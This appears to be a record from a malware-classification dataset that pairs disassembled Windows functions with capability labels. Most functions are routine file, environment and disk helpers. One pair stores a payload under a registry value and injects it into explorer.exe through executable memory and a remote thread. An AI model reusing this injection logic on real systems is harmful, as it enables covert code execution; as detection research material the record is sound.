joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18023df14
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x240
mov rax, qword [0x18032d860]
xor rax, rsp
mov qword [rsp + 0x230], rax
lea rdx, [0x1802f8718]
mov rbp, rcx
call fcn.180249534
xor edi, edi
test rax, rax
je 0x18023dffa
mov ebx, edi
call fcn.1802397c4
mov r14d, dword [rax]
call fcn.1802397c4
mov r8d, 0x104
lea rcx, [rsp + 0x20]
mov rdx, rbp
mov dword [rax], edi
call fcn.180249480
mov rsi, rax
test rax, rax
je 0x18023df8b
call fcn.1802397c4
mov dword [rax], r14d
jmp 0x18023dfb5
call fcn.1802397c4
cmp dword [rax], 0x22
jne 0x18023dff2
call fcn.1802397c4
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.180249480
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x18023dff2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x18023dfb9
cmp rax, 3
je 0x18023dfd4
mov rcx, rsi
call fcn.18023de70
test al, al
je 0x18023dfe5
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x18023dfe5
mov dil, 1
mov rcx, rbx
call fcn.18022c440
mov al, dil
jmp 0x18023dffc
mov rcx, rbx
call fcn.18022c440
xor al, al
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.180227e50
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x18023e9b4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18023e85b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18023e85b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18023e85b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18023e85b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18023e85b
cmp dword [rcx + 0x84], 0xe
jbe 0x18023e85b
cmp dword [rcx + 0xf8], 0
je 0x18023e85b
mov ecx, ebx
call fcn.18023e918
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.18023e6e8
nop
cmp dword [rbp + 0x20], 0
je 0x18023e8a9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.18023e8b4
int3
xor r8d, r8d
xor edx, edx
jmp 0x18023e7ec
Function at 0x180241318
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180227e80
sub rsp, rax
mov rax, qword [0x18032d860]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180240cd0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180241367
mov rax, rbp
jmp 0x18024146f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x331de0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180239644
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x331de0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18024146b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18024146b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180239644
test rax, rax
js 0x18024146b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18024146b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x18024145d
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x18024145d
cmp byte [rcx], 0xd
jne 0x180241443
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180241452
cmp byte [rcx + 1], 0xa
jne 0x180241452
inc rcx
jmp 0x180241452
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x32d9c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180241425
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18024146f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180227e50
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18024862c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.18023964c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.18023964c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x18024877c
cmp rax, 0xffffffffffffffff
je 0x18024877c
xor edi, edi
test rbp, rbp
jle 0x180248727
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18024591c
mov rbx, rax
test rax, rax
jne 0x1802486b4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18024871d
mov edx, 0x8000
mov ecx, r14d
call fcn.180241928
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180248228
cmp eax, 0xffffffff
je 0x1802486fd
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1802486c4
mov edx, r15d
mov ecx, r14d
call fcn.180241928
jmp 0x18024871d
cmp byte [rsi + 0x38], dil
je 0x180248714
cmp dword [rsi + 0x34], 5
jne 0x180248714
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x18024871d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.180243168
jmp 0x180248790
jns 0x180248790
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.18023964c
cmp rax, 0xffffffffffffffff
jne 0x180248748
cmp byte [rsi + 0x30], dil
je 0x180248790
mov edi, dword [rsi + 0x2c]
jmp 0x180248790
mov ecx, r14d
call fcn.18023eec4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180248790
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x180248790
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180248789
mov eax, dword [rsi + 0x2c]
jmp 0x18024878e
mov eax, reloc.WS2_32.dll_shutdown
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.18023964c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x180248928
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x18024895a
call fcn.1802397c4
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.18024358c
jmp 0x180248a79
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x180248a79
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x180248a79
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x180248989
lock or dword [rcx + 0x14], 0x10
jmp 0x180248a79
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x18024899d
call fcn.18024e150
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.180240cd0
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.18023d0c4
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x180248a67
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x180248a32
mov rcx, rsi
call fcn.180240cd0
cmp eax, edi
je 0x180248a1d
mov rcx, rsi
call fcn.180240cd0
cmp eax, 0xfffffffe
je 0x180248a1d
mov rcx, rsi
call fcn.180240cd0
movsxd rbx, eax
lea r14, [0x180331de0]
mov rcx, rsi
sar rbx, 6
call fcn.180240cd0
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x180248a24
lea rdx, [0x18032dc40]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x180248a32
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x180248a56
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x180248a56
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x180248a56
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x180248a7c
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x18024b4a4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18024b4d4
xor eax, eax
jmp 0x18024b597
mov rbp, rbx
cmp word [rax], si
je 0x18024b4f9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18024b4e0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18024b4dc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180247648
movsxd r14, eax
test eax, eax
jne 0x18024b537
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18024b4cd
mov rcx, r14
call fcn.1802431a4
mov rdi, rax
test rax, rax
jne 0x18024b550
xor ecx, ecx
call fcn.180243168
jmp 0x18024b52c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180247648
test eax, eax
jne 0x18024b581
mov rcx, rdi
call fcn.180243168
jmp 0x18024b58b
xor ecx, ecx
call fcn.180243168
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18024b5b4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x18024b63b
mov rsi, rbx
cmp word [rax], bp
je 0x18024b5fa
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x18024b5e4
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x18024b5e0
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1802431a4
mov rdi, rax
test rax, rax
je 0x18024b628
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180228d60
mov rbp, rdi
xor ecx, ecx
call fcn.180243168
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18024f0d4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.180233dec
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x18024f15e
cmp byte [rbp - 0x21], r15b
je 0x18024f159
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x18024f194
call fcn.18024655c
test eax, eax
jne 0x18024f180
cmp byte [rbp - 0x21], r15b
je 0x18024f178
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x18024f194
cmp byte [rbp - 0x21], r15b
je 0x18024f191
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.18023846c
test eax, eax
jne 0x18024f234
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.180233dec
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x18024f1d3
cmp byte [rbp - 0x21], r15b
je 0x18024f208
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x18024f208
call fcn.18024655c
test eax, eax
jne 0x18024f1f4
cmp byte [rbp - 0x21], r15b
je 0x18024f1ed
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x18024f208
cmp byte [rbp - 0x21], r15b
je 0x18024f205
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.18023846c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x18024f234
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x18024f237
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x18024f245
mov rcx, rdi
call fcn.180243168
cmp byte [rbp + 0x3f], r15b
je 0x18024f254
mov rcx, qword [rbp + 0x27]
call fcn.180243168
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x180005510
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rdx, qword [0x18014ce98]
mov r15, rcx
mov rax, qword [rdx]
cmp rax, rdx
je 0x18000571a
mov r13, qword [rcx + 0x18]
mov r12, qword [rcx + 0x10]
nop word [rax + rax]
cmp qword [rax + 0x28], 7
lea rsi, [rax + 0x10]
mov rbx, rsi
jbe 0x180005561
mov rbx, qword [rsi]
mov rbp, r15
cmp r13, 7
jbe 0x18000556d
mov rbp, qword [r15]
mov rdi, qword [rsi + 0x10]
cmp rdi, r12
ja 0x1800055f1
mov rcx, r12
sub rcx, rdi
test rdi, rdi
je 0x180005608
lea r14, [rcx*2]
mov rcx, rbp
lea r8, [rbp + 2]
add r8, r14
sub r8, rcx
sar r8, 1
je 0x1800055f1
movzx r9d, word [rbx]
cmp word [rcx], r9w
je 0x1800055b5
add rcx, 2
sub r8, 1
jne 0x1800055a3
jmp 0x1800055f1
test rcx, rcx
je 0x1800055f1
mov r10, rdi
mov r9, rbx
test rdi, rdi
je 0x1800055e5
mov r11, rcx
sub r11, rbx
nop dword [rax + rax]
movzx r8d, word [r9]
cmp word [r11 + r9], r8w
jne 0x180005602
add r9, 2
sub r10, 1
jne 0x1800055d0
sub rcx, rbp
sar rcx, 1
cmp rcx, 0xffffffffffffffff
jne 0x180005608
mov rax, qword [rax]
cmp rax, rdx
je 0x18000571a
jmp 0x180005550
add rcx, 2
jmp 0x180005590
xorps xmm0, xmm0
lea rdx, str.qweasd321zxc
xorps xmm1, xmm1
lea rcx, [rsp + 0x50]
mov r8d, 0xc
movups xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x60], xmm1
call fcn.1800091a0
mov rbx, qword [rsi + 0x28]
lea rax, [rsp + 0xa8]
mov rdi, qword [rsi + 0x20]
lea rdx, str.Console
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1800056b8
cmp qword [rsp + 0x68], 7
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0xa8]
lea r9d, [rax + 3]
cmova rdx, qword [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1800056f6
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800056f1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005714
call fcn.18000d268
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.180019a4c
int3
mov ecx, 1
call fcn.180014100
int3
Function at 0x180005aa0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180005b1c
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x234
call fcn.18002ec50
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180005b13
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call fcn.180017e80
mov rcx, rbx
test eax, eax
je 0x180005b2f
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180005af0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x270]
mov eax, 1
add rsp, 0x260
pop rdi
ret
Function at 0x180005b50
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x298
lea rax, [rsp + 0x2a8]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180005d2b
mov rcx, qword [rsp + 0x2a8]
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x28], rax
lea rdx, str.qweasd321zxc
mov qword [rsp + 0x290], rbp
xor r9d, r9d
xor ebp, ebp
xor r8d, r8d
mov dword [rsp + 0x2a0], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180005d23
mov ecx, dword [rsp + 0x2a0]
mov qword [rsp + 0x288], rsi
call fcn.180019ac4
mov rcx, qword [rsp + 0x2a8]
lea rdx, str.qweasd321zxc
mov rsi, rax
xor r9d, r9d
lea rax, [rsp + 0x2a0]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180005d1b
mov qword [rsp + 0x2b0], rbx
lea ecx, [rbp + 2]
mov qword [rsp + 0x280], rdi
xor edx, edx
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180005c96
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180005c8d
nop dword [rax + rax]
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x6c]
call fcn.180017e80
test eax, eax
je 0x180005c89
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180005c60
jmp 0x180005c8d
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x2a0]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x2a0]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x280]
mov rbx, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x288]
mov rbp, qword [rsp + 0x290]
add rsp, 0x298
ret
Function at 0x180006c10
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x180006c41
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x180006cbb
mov rdi, r14
mov rcx, rbx
call fcn.180007d10
test rax, rax
jle 0x180006c93
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.18002e5b0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x180006cab
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180006cb3
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x180006c55
sub r14, rdi
jmp 0x180006d9f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x180006cd2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180006cd4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180006d06
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.18002e5b0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x180006d9c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180006d41
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x180006d7d
nop word [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1800192d8
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x180006d9c
cmp rbp, rax
ja 0x180006d50
test rbp, rbp
je 0x180006d9c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1800192d8
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret